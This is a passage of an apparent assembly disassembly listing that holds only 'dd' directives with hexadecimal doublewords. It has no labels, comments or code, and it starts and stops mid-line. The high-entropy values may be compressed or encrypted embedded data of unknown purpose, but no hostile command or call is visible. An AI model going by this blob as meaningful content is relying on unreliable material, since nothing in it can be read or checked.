0E1E00EAh, 5F4361A4h, 0CC00A6B4h, 0BD52EF84h dd 0E8ABBF78h, 0F1C00097h, 0D8B88734h, 0EA61EB66h, 14A22D20h dd 69611071h, 62E9F4h, 40940AAFh, 0A29A5EF2h, 90F98E2h dd 2071705Bh, 2D8C25B9h, 72A82C89h, 0E48A80F0h, 132A3655h dd 90514C00h, 832B5D21h, 38880028h, 465F02A5h, 8F022F96h dd 4504AF55h, 3208805Ch, 29241Bh, 6263338Ah, 9BA44201h dd 18305Dh, 16BC487Ch, 1F64E947h, 8C90D06Dh, 93807F5Eh dd 6974DF78h, 0FA4AE60Bh, 9B38A216h, 4C002F9Eh, 4278366Dh dd 142F9D74h, 0FAC7C2Bh, 0F3807D43h, 9F9B84B1h, 654218A0h dd 803D18DEh, 131C0516h, 34417C9h, 0B40F1278h, 4AE13694h dd 0F93840C5h, 43009030h, 0B2F18795h, 74B51082h, 9875EAA1h dd 0CE3900DFh, 0ADEED7B8h, 0DD1CBE55h, 62C0DAD8h, 81D0A61Dh dd 28F200D3h, 31E3C6Fh, 0C400F495h, 0A609D811h, 3FD3AEC6h dd 3700A24Ch, 0ECFB4807h, 0CE005744h, 66AB8B2Fh, 69C53Dh dd 3FE61BBFh, 0BD0CE721h, 0D73BBC01h, 1E291957h, 0E351C4h dd 0E7BB2ACFh, 0D5E93F94h, 6FA5D901h, 88C0AEDAh, 0F64C26C0h dd 93B21D15h, 0ED57C08Ch, 7F3328DCh, 80CD493Ch, 0FEC99582h dd 0E019F5F7h, 16CF1CA2h, 388EAB3h, 0C149667Ah, 3B88C7B2h dd 18C073D9h, 72F6A16Dh, 4BC60307h, 4E7F1AA3h, 0F9949094h dd 0C2003097h, 25B110B6h, 6627332h, 0F0A7A247h, 0E90018DFh dd 0C464ED4Eh, 78CAACCEh, 903071F5h, 0D430FFACh, 0E9B20AF7h dd 93E8FAF2h, 56190046h, 8CF9B9D3h, 6FEC4007h, 9B80DE6Bh dd 0DFA87186h, 3F140328h, 91E3C1D5h, 99C0A673h, 7EEAB6C8h dd 6833606Ch, 77C2971Eh, 0EF108100h, 0D8A7159Dh, 0F3A0C3C6h dd 803AB8B7h, 0A18F40EBh, 708074C1h, 0E2A11446h, 0B411EF28h dd 6F00970Bh, 22F79F1h, 0E80EB7C6h, 74B6F093h, 0C9430094h dd 91A52D9Ah, 194A97h, 0AC7EEBE0h, 91C2C2EFh, 10875ED3h dd 0C040E8BFh, 48C18FDh, 0D138C80Bh, 0FFE86B61h, 681ADE69h dd 5FE07459h, 244EE8D5h, 168038Ah, 0E91C9712h, 46CC40ABh dd 18C01D90h, 0A50C1A35h, 9F59C09Dh, 13153342h, 0F0D0560Ch dd 0C080093Ah, 334A7F21h, 730013A8h, 0F9DE9511h, 281C4202h dd 7F90273Bh, 18B198E9h, 0D8F12897h, 84A02598h, 6924CD0Ah dd 1BC30F2h, 58F916DCh, 0E02021F5h, 83165FDh, 69C4B38h dd 80569387h, 0F1B4E2ABh, 900437Bh, 413C5EAFh, 28E52F67h dd 36DCCA20h, 0A980CD07h, 0FD70BF17h, 0EF31B000h, 0FF089C7Eh dd 800DF191h, 13123343h, 83448C2Eh, 334B017Ah, 0E00A53F2h dd 0E96930C5h, 6F12C709h, 0EF7420C9h, 0A114D05Eh, 59181730h dd 1321337Eh, 4144C07Eh, 0B0B09333h, 0E1089517h, 4821FF0Dh dd 0B9985898h, 8A00DA10h, 7EAA79A1h, 24B05Fh, 899F601Eh dd 0C38B0CF1h, 3DD96B00h, 7C69DB91h, 79ED00ECh, 7364E6FEh dd 0B73A419Dh, 0F91B0071h, 58EF549Ah, 0B55E021Ch, 0AB865948h dd 48C005E2h, 0DE5A244Eh, 160040E8h, 4FE2B84Dh, 410940D4h dd 55A85562h, 27422880h, 5C00A4C7h, 8029FF25h, 1C0E6B8Fh dd 41242E0Fh, 0A3392DE8h, 21D0E410h, 4A08B300h, 0A4AEE095h dd 92530EABh, 84609032h, 2B3BF101h, 265E8C3Dh, 79074B55h dd 0EA4012ADh, 0C06DEB8h, 34C04598h, 6000CB3Ah, 5287502Ch dd 786CAFD4h, 9FA90157h, 0C7B4395Bh, 431A136h, 609FAFF0h dd 4CD01053h, 320023CAh, 0A050412Ah, 387A3Ch, 0AFC25EFBh dd 0DDEFA236h, 0A7512719h, 61095529h, 0D2299025h, 48A1F284h dd 91B64289h, 22A37E22h, 7D24ACFFh, 1292DB21h, 0BFE810DAh dd 0DF089189h, 84E6E744h, 42B83622h, 943411A5h, 0CF048222h dd 0BFBD5C26h, 9B0AFBC1h, 55D9D4h, 12187D60h, 47C3B9A2h dd 0A9B2F600h, 4DEA6B82h, 35BD00CBh, 969F783h, 0E2983250h dd 7D36E400h, 81B9FA41h, 3CD51F1Ch, 0C0885E9Ch, 653D327Eh dd 0B0003618h, 3568AB23h, 0B876AAh, 857A3461h, 54FD781h dd 0A612CC0Fh, 0E0230048h, 7683C7B5h, 55140072h, 264C2A8Eh dd 0B0003DF1h, 86CCF795h, 0F4F60D82h, 5E200054h, 2B8AA469h dd 3F00B434h, 0AB6D42D2h, 9CFB79h, 9D3055B1h, 0D5C0546h dd 80377B3Bh, 9880D6C8h, 0E5042EDAh, 67092981h, 0EC0AF6B9h dd 8398BCC3h, 0A37DD11Dh, 4BF72580h, 77635F24h, 690C0FD4h dd 59A037D6h, 9F5D4DB5h, 0BE958000h, 0A7C71857h, 1193609Eh dd 0CE33D429h, 6E15A000h, 0C5A32AB3h, 2E489278h, 20EA049Fh dd 42D401C0h, 17CBE451h, 0E7BAC457h, 0B774FD00h, 0F6DAAD09h dd 0BCD00049h, 0D1640324h, 52072E30h, 892017ACh, 9BBD12E0h dd 84881ED0h, 94983DFEh, 69926842h, 627C1900h, 540A912Bh dd 2A170ACCh, 3B020F5h, 0B412DC08h, 6B86FCD0h, 0E5873700h dd 5709187Ch, 55B20013h, 0AC044C61h, 1600B9A4h, 188BA1C7h dd 2C91BCB4h, 164DCDFDh, 7D9E0075h, 0F7B72820h, 0CC87A50Ah dd 0DE00B0AFh, 7AD389FFh, 7410C0D2h, 8D27AADDh, 0B0C59800h dd 19A63809h, 9D6F0056h, 0C76ABCC1h, 40033DCh, 0A17A8BABh dd 76607281h, 0A9D30065h, 94AF1B8h, 8500CA32h, 9CFAB579h dd 8E0D90h, 3C7897E5h, 70CE982h, 0A66B5500h, 0C2F606ECh dd 0F74801FEh, 1A52E009h, 0FC4F3068h, 6E098C77h, 434664h dd 85791738h, 90150BC8h, 0B8802B07h, 66A5DA99h, 0FDD04100h dd 51012F58h, 7454005Fh, 0F523EE95h, 0E6309846h, 20C1296Bh dd 0B67E0015h, 17053803h, 0E30509F1h, 4C74063Eh, 1394D000h dd 7BA161h, 0D7CE3B5Eh, 389791Ah, 0E72C591Eh, 9B522440h dd 0D8C631h, 19EE06Eh, 0B1694957h, 9DE4931Ch, 5EA02E80h dd 24F89A1Eh, 1CCCC63Dh, 9C1840C0h, 0E68E7D07h, 370095E8h dd 19FE5EDh, 7FF0355h, 7CC7C331h, 3EE7C00Dh, 0E001B46Ch dd 0B85BD6C9h, 9DD53A30h, 9088B820h, 0A55C00F1h, 677AFACEh dd 310D1548h, 70D135D8h, 145836F0h, 0D8D613B7h, 0CFDE0F7Dh dd 83012128h, 34E2C004h, 1A0E49C4h, 206094F3h, 0CE3CC548h dd 0E7465027h, 0E8E424F1h, 0A8FA00E8h, 6F39E7C8h, 0EA2B3507h dd 10E9BF2h, 345CE82Eh, 98B26020h, 8DD40008h, 47245445h dd 25248E4Ah, 0E40098A7h, 8FE2BFDh, 0C55730F7h, 33E71698h dd 80E5BF00h, 0D5DA62E6h, 0A9830090h, 0EB32E893h, 28FAB9C9h dd 0A103B007h, 2D706249h, 18953E9h, 7629373Fh, 0D8DD27E8h dd 1000F105h, 16CF99B7h, 0E6CBC78h, 0F4562FFEh, 778469A0h dd 74024863h, 0C65BF294h, 4866E4h, 9BF8E5CFh, 781DE49h dd 10A3938h, 0BE67216h, 98400CA9h, 7578F6AAh, 17090006h dd 0D0CEA13Bh, 30006CE1h, 0CC8440BEh, 7E2F73Ah, 0BDBBA069h dd 0D70E329h, 0B0BCA580h, 7B615400h, 0F701E9FEh, 55C81FB7h dd 9F8740D8h, 3AF4AC71h, 17F2D8FBh, 33A65302h, 60AAFBD0h dd 11221Fh, 0F89457FEh, 0AE3C95CEh, 9FC3F507h, 5D607E6Ah dd 0F2EDE905h, 647C94h dd 3ECB33C4h, 141E34BDh, 0C6E08C03h, 0E0620649h, 0AD43159h dd 9D6BDE4Dh, 7E13F4h, 0F4BD13F5h, 2731E6B8h, 1EC61893h dd 6003836h, 0C952D6F0h, 30005EEAh, 13329A64h, 37F187h dd 0EDC63859h, 3F33B6CBh, 8B920C39h, 0A0EEFBA5h, 97A75318h dd 23673888h, 596B7C00h, 57052B1h, 7E01C498h, 43BBD31Bh dd 0DFD05DF3h, 0BFF602D8h, 3282E634h, 0C8779881h, 0A2A9C386h dd 855E0D5h, 0D7663E00h, 0B749FF8Dh, 6F19069Fh, 79B201B4h dd 0A411B30Eh, 0CB40FE5Dh, 39F17C64h, 0E057F2Dh, 0BE7FA2F3h dd 7A80816Fh, 0B8DA6EB5h, 60A6D524h, 42F3B401h, 2860A908h dd 64A0002Dh, 7EFC960Eh, 6702742Fh, 0E5AC13DDh, 0AD55C078h dd 0E0F000C3h, 27B23F8Ch, 1E003AEBh, 0B5D3EE45h, 1956960Bh dd 0AE92DD9Bh, 764CE008h, 0AF997528h, 908E1D00h, 0A5B669FAh dd 0A22300F8h, 27A65B61h, 4C3D2975h, 0B56C8124h, 0BF760C06h dd 0EDE096h, 0D3C74F64h, 6D033E1Bh, 6E17943Fh, 68809593h dd 123BE3F2h, 3B9EB2Fh, 0BEDA9D98h, 91A7E000h, 1B1530F4h dd 934917E1h, 0B1D84334h, 80AD4FF7h, 0F41DE318h, 0DDC73800h dd 845A8FD6h, 334CBEh, 28D7378h, 465C73C5h, 8040A560h dd 69099F32h, 8091C705h, 0CCC25F80h, 0B04CFC29h, 48D40B30h dd 5F00F521h, 78AE94B3h, 2433E100h, 8473B874h, 0C37206ADh dd 18E03B5Ch, 58C905Ch, 2B517A09h, 3230AAC0h, 5AA21716h dd 49CB0C57h, 8C3A5DB8h, 0F0088041h, 621383B4h, 0C88662E8h dd 3BE0804Dh, 3A0F6418h, 407B8FC4h, 8A8811A9h, 0BF7C5CB7h dd 0FAE5500h, 19597739h, 0A687623Ah, 2400E65Dh, 0AA9412FFh dd 0BA741220h, 57900036h, 0D59FC914h, 0C14F4400h, 3D0BBDE0h dd 3E707Ah, 10E8619h, 8C7480CEh, 0F35E8800h, 76FB7F98h dd 5AC53DACh, 0B0AD9Dh, 38C616CBh, 880FE675h, 37692CB5h dd 0CFB8FC30h, 0BE081EC1h, 764287B2h, 0DB24A25Ah, 91D20440h dd 4000FB74h, 0FCD30C6Ah, 0E0F3A9h, 0C83B5138h, 92CD8003h dd 0B58DB209h, 7354008Eh, 0BA54BBA6h, 74090078h, 527B65Dh dd 5124C193h, 0E80F20E1h, 5A8CE045h, 0F79434Eh, 9C5374D2h dd 109291EEh, 7A00E7ACh, 0A91D7B13h, 0A35C59D8h, 0DA790074h dd 8A37FCDDh, 0A5720E4Ah, 632087ACh, 7F6D88DEh, 73AB5602h dd 43DC67C7h, 3F83C828h, 6E6906C0h, 607B4132h, 2B90D801h dd 6FFB255Fh, 0AC03E4h, 978EDEB6h, 0A9C0C174h, 301870FFh dd 2F0BA301h, 244BB725h, 108FF03Fh, 6D730E01h, 0B244D8F2h dd 0A726D4h, 3482243Ch, 0B581A04Fh, 91BAF71Ch, 9AFB2DC1h dd 0E4208A53h, 73380E4Ah, 9EC06E45h, 63FC3719h, 21411400h dd 385D03A3h, 3AA9002Ch, 0ECF60D34h, 0F16E31Fh, 0B840BD76h dd 18876977h, 60D8F4CCh, 71859821h, 914968BEh, 0EB1A00B8h dd 7479D1A4h, 99B400CBh, 776AA066h, 51F84C1h, 0A83EE463h dd 5E0B88F6h, 0E1CCD13h, 24552064h, 72F2BAh, 0DD1A61D6h dd 196964F6h, 864AECE7h, 9706C778h, 4BFFDA67h, 8F100070h dd 0CA500509h, 0E49A42ADh, 0D5481D00h, 81BA6BA2h, 0BE0F01FBh dd 4C7A225Ah, 84B3F482h, 4F04BD00h, 0BAF96141h, 7CC20283h dd 0F2D9648Eh, 319444E0h, 9C807EE5h, 168D67AAh, 6FDD0Fh dd 0FD25019Fh, 784A2679h, 0EA168412h, 6DA11C00h, 1D22CBFAh dd 0D9A846h, 0D887A447h, 0B604FDEAh, 9B202739h, 0E07FC4C2h dd 2E10D7D6h, 0A78B24h, 9819211Ah, 0D30089F5h, 0C7ECF7D5h dd 95BB010h, 96BB26D8h, 0B9E0AD80h, 0F400D7A5h, 6ED562F1h dd 1FF565ECh, 80ADE119h, 16896C0Bh, 2A00ED0Fh, 75601A26h dd 0DD8FABh, 0ADD9B558h, 1180B76Eh, 1B00F9EEh, 4BF30743h dd 1DBA490h, 5C9B4EEFh, 0E8F07FE4h, 832441E7h, 0EE1304C6h dd 703CD441h, 20D831DCh, 0E888009Eh, 0EE28C56Bh, 7A008346h dd 239D97D3h, 16DB4139h, 0B81B61h, 9A30E050h, 340011AAh dd 4D2DC6FFh, 5A36B03h, 0DF6EB0ECh, 9EB0C02Fh, 9F00519Bh dd 384D017Fh, 41CBCAh, 5B9607D1h, 8522D732h, 0BD1F657Bh dd 0C982138Fh, 0C0308EA1h, 1686004h, 3DEADC63h, 0DD9F096Bh dd 0BAFBDC4Ah, 85D62800h, 0F30513A8h, 6E5F000Ch, 0F6C8F2DCh dd 0ED7B15E8h, 8342263Bh, 772A568Ah, 701CB8DEh, 3EAC03AEh dd 112E318Ch, 3740A8A0h, 2354F701h, 5DB1DC94h, 0F2704474h dd 0EAAD00A7h, 954AF14Eh, 7A03B9C3h, 86DB3CE8h, 0EC110030h dd 0D844E184h, 7C00678Ch, 4A667D21h, 57A1CDh, 0A4E8B6B8h dd 0B385AFF9h, 83E37300h, 6BAFEDEh, 0D6F81D6Dh, 0A4E1402Ah dd 9A2CF523h, 101FFD00h, 723B4770h, 0EB6F0744h, 804D2A5Ch dd 7D871522h, 0BAC9A0Ch, 0F0A418EAh, 5B2C00AFh, 0D258B00Ah dd 0F500EDCEh, 0EB074581h, 0B7049Ch, 0F8B14CADh, 0E297EC1h dd 0E4615B00h, 0F38958C0h, 0CC30004h, 2E3AFD44h, 0CF00EB05h dd 197963D3h, 7DF174h, 13BC5567h, 7E5E8058h, 0FA9DB20Bh dd 9BEF809Ah, 0EF1A75h, 3901DC71h, 368316B7h, 0A3AAB50Eh dd 15DFA190h, 44347957h, 8B2B80D6h, 245E0426h, 1053803Ah dd 0B33A9E2h, 0EBD13A73h, 79652EF4h, 16FA01B8h, 20ABE268h dd 84E643BCh, 0AE45EE00h, 0F0172477h, 591401DBh, 66D6887Ah dd 8028B991h, 27BE13Ch, 0EC722Fh, 0F2F8B404h, 18D642EDh dd 53BB7100h, 0FEC419ACh, 0F0B0DEh, 0F717CD01h, 0EA949DE5h dd 8B72DC00h, 0CC79AE93h, 8F071218h, 6E7004AFh, 902684D4h dd 9A3D5A70h, 5D7E72F0h, 13006173h, 0E4EF2921h, 0CF7AEBh dd 0E00FBCC0h, 8F6DDB67h, 81B5DE00h, 6B4D90EEh, 0EE4EF636h dd 37BF0061h, 7FEFF991h, 0FE005EA5h, 8FADCFCDh, 0B08E71h dd 28520355h, 1785BFC9h, 0C3E43302h, 0C00E39B8h, 7F40C8h dd 0F88F4790h, 0CB912394h, 7E1B1D3Ch, 5B7039h, 0A9D662E4h dd 0DF727Dh, 3DDC01D7h, 273816BEh, 0FF8B9A00h, 300EA36Ch dd 91B807D9h, 50B0738Ah, 0AD4DB3ECh, 0FF09700h, 5A9B28E7h dd 0BD6F13F9h, 0E268C041h, 7C04B470h, 94406C46h, 0DD3FB280h dd 0B89F0B79h, 14054E89h, 8494848Bh, 683CD728h, 9B79942Ah dd 0B70968B8h, 813ABCDAh, 0C9339C00h, 0B3D3CC0h, 0ACBB5077h dd 0FE946480h, 0EE0F3FE2h, 2482932h, 4035210Dh, 137EF234h dd 0B24E50h, 560A932Ch, 0DA006648h, 398F668h, 5CA254h dd 73A83158h, 0B8A40106h, 6D0028E4h, 9AEF1974h, 4B1B0C3h dd 0A02FCF7Fh, 7E488742h, 7C15E900h, 130020BFh, 0CEC50969h dd 0F3A8F91h, 0C93FB4D0h, 0E615A280h, 0DE2CE402h, 0B713B83Bh dd 34422201h, 40EE52DAh, 121FF554h, 0EF8406h, 18B3672Ch dd 0A800CA8Dh, 0FF1DF265h, 84C826h, 0D0277F69h, 8BD4E294h dd 313ACD01h, 782E14A2h, 75FF4680h, 0C441ECA5h, 6F79A00h dd 279F92Bh, 1B3FEA2h, 0B78F281Dh, 0F46C7B11h, 8D0F2C24h dd 0C24BD18Bh, 60BDC0A0h, 8039BBh, 83AFB9DEh, 150CAD78h dd 26A77E00h, 5E728209h, 89403FBEh, 0BAAA4107h, 80F43466h dd 6E09AF17h, 464E48h, 535690B5h, 551298Fh, 43D16096h dd 1CF80047h, 5C19ED8Bh, 0B6B1C600h, 21E5931Eh, 86C10084h dd 0FF9D564Fh, 5E0EAA33h, 60081626h, 0C020AF64h, 6D1B005Fh dd 2FC67325h, 0C20BE039h, 1FC4570h, 20B828FCh, 0F413446Ch dd 830900D3h, 0ABC0C223h, 7383148h, 0A033CED1h, 6F611420h dd 3B2739C8h, 700F00F2h, 21D5F366h, 8739B1CAh, 0FF9B83D6h dd 0C8520BA0h, 168C8DBh dd 55089947h, 0E0AE86AAh, 20B818D3h, 1A943260h, 0F78F3h dd 0FE74D24Fh, 993DF1C4h, 0E934D500h, 0EF2B1AB1h, 32DE00A9h dd 0FE479CA0h, 0C0C0DDCCh, 69F786AFh, 241598BFh, 3A1C2A5Bh dd 318A18E1h, 0CAFC6073h, 0E1182D6Fh, 2172B67Eh, 3FF44021h dd 99EB0031h, 8A3556F7h, 160C23FBh, 115FEF30h, 3CE7031Eh dd 0B321B0DFh, 0E0F00FCBh, 0D600F977h, 0CE407BFh, 4A7DDCEh dd 3A691EDh, 22EC80C3h, 0FF0023DEh, 261BE405h, 0BA5CB1h dd 0FA446EBDh, 63102F92h, 1E290C00h, 0D4EB6C68h, 789CC4h dd 8071C4Bh, 0A090B741h, 0D40D20E5h, 479F9601h, 0ED9757BFh dd 170CE0h, 9462D71Ah, 0B1D56453h, 0F0FCA0FCh, 349BA500h dd 9AF60318h, 62146372h, 9990A8F4h, 8008411h, 8E693DDEh dd 6A0A23h, 0C39039ABh, 32980FAh, 4EF3AA07h, 5CE30801h dd 0D9ABF347h, 53F004F2h, 84B0001Fh, 72631679h, 710A9BCFh dd 0A1D4DDEBh, 4E2E0800h, 5011325h, 0AC417F94h, 4A8C00C2h dd 0BC0033Bh, 0FAC46D01h, 87B1355h, 0B3E9E4h, 752978A7h dd 0DD103A0Ah, 5E4B3600h, 9C039D8Bh, 542F00C2h, 1E756C43h dd 5A008DABh, 17EB0B49h, 16FD2057h, 4028F9C5h, 0B54DF79Ch dd 64090269h, 80D5EB4Bh, 68879234h, 0A7950048h, 0D9D2133Ch dd 0DD07819Ah, 3D35855Fh, 0F9E2401Fh, 13DC588Eh, 7AF2A25h dd 408DB0h, 0E452A6DFh, 0C5B4631Dh, 180043D3h, 26475DDCh dd 0F99609B3h, 10004169h, 87B7D960h, 0D1390A00h, 7ECE0EB4h dd 9030F653h, 0EFA9000Ah, 93B370ACh, 0C7047F09h, 221E2867h dd 62CA8B0h, 0F0DFFF78h, 6F7050A7h, 0D91A3301h, 19293747h dd 0B0D108D0h, 0ACBC00A4h, 8E5B0A3Fh, 66000C2Fh, 0FF6768CBh dd 9C08022Ah, 0AFF000B4h, 0EA3025E9h, 0F3628E00h, 283DD1A7h dd 8B8200F5h, 0AF262019h, 0C053A1Dh, 0B662AC5Ah, 282F98B4h dd 19841A1h, 2E51A2E3h, 2008F945h, 120974C4h, 0A2D061B4h dd 78A99CE8h, 35290F44h, 0C4E94443h, 1245E820h, 36004CB5h dd 0EF484EA8h, 7D77F44Dh, 0A098495Bh, 7275E00h, 0D8780FDCh dd 1F49961Ch, 6680C45Eh, 54C93C7h, 61D61C19h, 0BC4B809Ah dd 0F7918F31h, 0AC66E700h, 5970D5C9h, 21030292h, 0F876BCC7h dd 79D41440h, 658CB900h, 6488DDD0h, 55E8BDh, 70AF4B27h dd 32C981B6h, 18264C00h, 10943044h, 3EAC0934h, 242FA915h dd 7D61928Eh, 20DFB5BFh, 60B64510h, 4C00D116h, 2B76F60Eh dd 3B6301BFh, 271ECB17h, 9CE0C6F0h, 1902231Fh, 969DA6C6h dd 6E6CC086h, 0F51130A9h, 1BB97D20h, 0D1C5FC01h, 4CB7EA1Dh dd 0E7677C4h, 6C25BD85h, 99ED02C2h, 0D81AB8C1h, 6F001126h dd 225ACA14h, 0B3DCB84h, 0A3E7BDD7h, 0C7753C60h, 0C381802h dd 0C4216DC0h, 0D0D66004h, 0D060828h, 0E8F49E28h, 0C151FF07h dd 0E6D0D32Eh, 0C01C58h, 871F6980h, 27788430h, 10249C76h dd 6E048CB4h, 4EC019E0h, 26F55Bh, 0A0172C49h, 2F243D78h dd 0BFEF279h, 8FDF802h, 60C07939h, 15E9954h, 2AE4C4D6h dd 747D4EA3h, 3B01F48Ch, 80405709h, 8430ACC6h, 0E35B00B3h dd 3E2FB111h, 90760D47h, 9AFF5100h, 0AFD228FEh, 0D34903D7h dd 0E4739EDAh, 0CAADC8C8h, 0BCD06907h, 25A781B7h, 49FE6510h dd 325FA3h, 196821F8h, 6B01B364h, 4D0D7C02h, 7F20FEBCh dd 0B186056Dh, 80384BDDh, 49A2DBDDh, 732B7E00h, 29149D71h dd 28CA007Fh, 0B2C6DDA5h, 0E6127D64h, 0E4A09B78h, 2C2E0759h dd 0D3CEBBh, 55B24012h, 7006A872h, 22D4DFEEh, 20D80038h dd 0E385444Dh, 9F00E909h, 0CA1831DBh, 2693548Dh, 18B5ED15h dd 57964045h, 6FDEFC14h, 9CA500E0h, 4B8E39E7h, 8ED58C4h dd 0B26D5F0Bh, 0E4E0B409h, 0D30035AAh, 0E26A65BCh, 7C377657h dd 0ACAB1F01h, 0FC817902h, 7CFDEFADh, 94F8964Dh, 468A5CC0h dd 0AE0A002Ch, 2F018B4Eh, 9E002493h, 265BC9BFh, 155B0C5h dd 7E282752h, 0DEB8DAF1h, 225718C0h, 87C8CD39h, 0BCB1EC68h dd 0F80C21E0h, 907907E0h, 91B61606h, 30308A4Eh, 0A23BAEDCh dd 65ED828Bh, 6AA74F53h, 25F85038h, 4800D854h, 16CC4DABh dd 0F8D6D00h, 0C1F4115Ch, 8844191Bh, 893C790Ch, 401410h dd 3D7CFB20h, 0DDF409AEh, 50A0341Eh, 0F73A4786h, 14097A5Fh dd 20FCE484h, 0B5023648h, 0FDD968E1h, 17D04032h, 0D7F1FBDAh dd 0EE8AC4h, 0EF3E3854h, 83F7DEF9h, 0F4600416h, 3DE94448h dd 6E7133B0h, 0BCF2794Fh, 0FB169100h, 0E3F3B48h, 0B25A0B37h dd 9C014BCDh, 0D6A8B3ACh, 31EF0C40h, 0DFAAEE00h, 7422A733h dd 57323FBAh, 23E89800h, 56DB862Dh, 0F3AB9103h, 0D8857E21h dd 0C0D61C63h, 84B8340h, 0F000E01Eh, 0AAD28C93h, 0A7C95Ch dd 9925FE54h, 0F6CD8615h, 0E1197C01h, 0F77045D3h, 25CE3080h dd 0C5710E8h, 0BD4C8CBAh, 4C8C5870h, 0F3E9001Dh, 0FAFE159Ah dd 0D08200B1h, 7E95C1A3h, 6300FC44h, 0C9F04610h, 0B42624BAh dd 757880ECh, 880B3A6Eh, 205FEC00h, 7DE865C4h, 0AB3D01A8h dd 750FE68Ch, 0BE16C0E9h, 9A57790Ah, 9E00A837h, 78FDC4F2h dd 3F030035h, 0D5DCEA95h, 0A003C20h, 26F88B04h, 0BDA6CBh dd 9D7D0793h, 0C4214FDFh, 94089000h, 3246DC98h, 4B4304DDh dd 80BA24B5h, 6D8CEB10h, 98F4AC24h, 65AD7C05h, 1E6998E0h dd 0CFC91D85h, 0D66E7817h, 0C0135EE1h, 0F38EE8A9h, 7D4CECE3h dd 0AA5C2700h, 507170A0h, 0FC97004Eh, 529B9F51h, 0DF037477h dd 3E2E0C79h, 0D904F024h, 0D56F01ADh, 0AC9C6ADCh, 281DC4A9h dd 952BBB00h, 6FD91973h, 0A8FE0471h, 0A5F25DC8h, 0FC42E250h dd 486B50E0h, 42070C90h, 0CD9D725h, 0A931570h, 191B2659h dd 0BD100518h, 5DFD13A6h, 77407054h, 810EBB63h, 82951949h dd 60309C46h, 7761A0A2h, 0BCFC4844h, 0F5DA121Ch, 0A4100090h dd 2DF41C4Ch, 55B9CB01h, 32A10E98h, 792420h, 0F0E3F5C9h dd 9165821Fh, 0AEEA191Ch, 6DE23E80h, 814A4Bh, 92C596E8h dd 0AC551889h, 4D160300h, 131714BBh, 0E1F82Eh, 9BA85778h dd 1C1AC7C9h, 5E9DDB00h, 0A2103987h, 896900A7h, 90BFA171h dd 0F036C47h, 5B04547Dh, 0E6007F8h, 0C0ACD797h, 61A8E486h dd 0FE1D427Bh, 0B380332Eh, 8726716h, 0EFA007F5h, 0C477DCF6h dd 56DC93AEh, 6C906FB8h, 0C0182801h, 82CB5397h, 5DAD4170h dd 24580491h, 8400FD3Eh, 0B9C401Dh, 730E6289h, 0C0705E29h dd 0DA016C10h, 9A7D7BFAh, 0EF060258h, 0D67577FCh, 71030880h dd 2B016B5Ah, 0AC200268h, 8880527Dh, 969C223Fh, 1818DB3Eh dd 4DA1CF09h, 0C4330ED3h, 0CD671A86h, 57D4EB6h, 0D3FCB7E1h dd 0F99898F8h, 115CB33Ah, 79B11DE6h, 41E42E00h, 7C0734CBh dd 0F3F661h, 0E3897C49h, 3CFA4D69h, 3AC6C218h, 7C8FC068h dd 743100DBh, 1A9EC830h, 0E010CA7Eh, 20DC6DB7h, 809B5940h dd 850197Dh, 5200DF58h, 94C73D68h, 3EA138h, 677E18D8h dd 10C5931Bh, 0BA77C31Ch, 40322340h, 4FDD03h, 0C0F774ECh dd 8AE27CF4h, 9D725C00h, 0BD30624h, 27AB0FD0h, 0FCA7F762h dd 0AC97604Ah, 0C372963Ah, 2EDA6E00h, 148DE530h, 0C94600A8h dd 0C1817E58h, 7D00FB5Ch, 0D492F233h, 0D59F2Bh, 5A5EE1F6h dd 0EBCBDFE8h, 6ADEED00h, 48978AF0h, 6BF274h, 92E2403Dh dd 35DC6184h, 4B0067E2h, 3B2B19EDh, 0E85B7CDh, 0A25CD35Dh dd 0ABFA26C0h, 12073723h, 93C862D2h, 0C1E17B80h, 217F00E4h dd 8B1559F1h, 2805C25Eh dd 31FF9398h, 0D616BC40h, 38F8903h, 0B7CC68C3h, 2BA36973h dd 7E70211Ch, 514B5B02h, 0DBC4A04Ah, 2C6BF3h, 92C1D750h dd 0F8B33F4Fh, 34006EB8h, 1075D6B1h, 1819478Dh, 1849F4BAh dd 0C70CB5A4h, 494B5136h, 29710093h, 3D5CDB61h, 0C2017F74h dd 0B756BDF5h, 413E322Bh, 0C7113C10h, 0C123F33Fh, 3C10092h dd 696B8F6Eh, 77244486h, 404CC0F7h, 2B6AB306h, 0C48AE9Bh dd 0C10A0CDDh, 0C70CAB68h, 7140506Bh, 0F18B0265h, 1A46CDC5h dd 988E5441h, 86215408h, 2AF11D72h, 6AD00E1h, 26051E32h dd 0ABC14406h, 7AF06FF8h, 0CAC40407h, 8088FF7Dh, 32027AE5h dd 13E6470Bh, 533701D9h, 0E7D4A4D2h, 604B1EEAh, 7F2180ABh dd 3FEFC92Eh, 138D6B01h, 0DB895631h, 7B98D8h, 0E151F15Ch dd 0A8ECA325h, 6527FB0Ah, 900086CBh, 70E817E0h, 87120379h dd 0D3305702h, 1BDB5C80h, 368F3E09h, 855D8092h, 21A456Ah dd 0B9742C12h, 8C07040h, 0E40041C0h, 923BBC1Fh, 0C77CD6h dd 6ACA3029h, 839E5F5Eh, 0F7310900h, 104F0646h, 1D0D0705h dd 93EF3Dh, 82DFBD9Fh, 0A7306E00h, 413C70Fh, 1F8A7C88h dd 1776928h, 5EA1B2C2h, 3611D02Fh, 0D1EA1C02h, 0C1CEA091h dd 998CF9Bh, 0E2FC2104h, 29DED100h, 0EB8F47D8h, 0C5FA260Ah dd 93F3AADh, 7DE74980h, 0C20BBF2Eh, 6038D06Eh, 58865ACFh dd 770F068Bh, 50883B29h, 3FB23C1Dh, 85ADD0Ah, 6EEFF100h dd 7EA8BE5h, 0F2928E0Dh, 21584F28h, 80ECE750h, 6F7C9A00h dd 25D8BF0Dh, 4B290B26h, 73800765h, 0E611D456h, 598D6930h dd 3779A92h, 12A63BFAh, 9303349h, 0A2F221BFh, 0E88B0177h dd 8C60A51Eh, 0A0905276h, 7AD1E530h, 22E646EEh, 0FDED0113h dd 0F59934D1h, 9AA0F86Eh, 8A78FC18h, 30854B90h, 35A04393h dd 3E015ED2h, 5D3484A1h, 0CAE43DB7h, 0B5773F7Ah, 4B5FF280h dd 95390DDEh, 0AF59200h, 1AAC6090h, 0A2D7083h, 1042A014h dd 0E09F7004h, 9107710Ch, 6ECB1990h, 0F8A02168h, 0B9630C0h dd 7AD00500h, 0F446F5D9h, 94541785h, 40361C37h, 0AA611817h dd 0D1E26D42h, 67E5FA00h, 8010409Fh, 0B372039Bh, 65F9E09Eh dd 990078CEh, 4D302F90h, 0EDB1712h, 409D7EF6h, 9B4837C0h dd 0E3F53883h, 96A02001h, 0FB41A44Fh, 8511204Eh, 